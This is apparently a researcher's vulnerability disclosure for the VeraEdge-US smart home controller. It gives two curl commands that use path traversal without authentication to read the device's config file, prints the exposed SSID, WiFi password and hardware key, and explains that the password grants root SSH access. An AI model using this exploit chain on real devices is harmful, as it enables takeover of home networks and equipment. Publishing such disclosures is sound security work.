VeraEdge Smart Home

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VeraEdge-US Smart Home Controller

The VeraEdge-US is a smart home controller used for bridging smart home devices with a users WiFi network.

Purchase

Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device. Purchase the VeraEdge-US Smart Home Controller at Amazon

Local File Disclosure

VeraEdge-US Smart Home contains a Local File Disclosure via get_file.sh and store_file.sh, both which can be hit without authentication. Below you can find the code within get_file.sh.

Unfortunately get_file requires a directory to exist which store_file conveniently creates. A POC for retrieving the file containing the devices SSID and WiFi key (/etc/cmh/cmh.conf) can be seen below.

curl -X POST -v 'http://<DEVICEIP>/cgi-bin/cmh/store_file.sh' --data store_file=123
curl -X POST -v 'http://<DEVICEIP>/cgi-bin/cmh/get_file.sh' --data filename="../../../../../etc/cmh/cmh.conf"

ArchiveLogsOnServer=1
ESSID=mios_45026848
Password=wind72sand
HW_Key=3sMwesqBERodWW7l3mew43fsC1d3sf

Root SSH Access

Utilizing the Local File Disclosure mentioned above, one can obtain the device specific WiFi information (SSID and Password) for the device. Conveniently the WiFi Password is the same as the password for the "root" user account.

SSHing to the device, with a login of root, and the device specific password, one can obtain root privileges remotely on the device.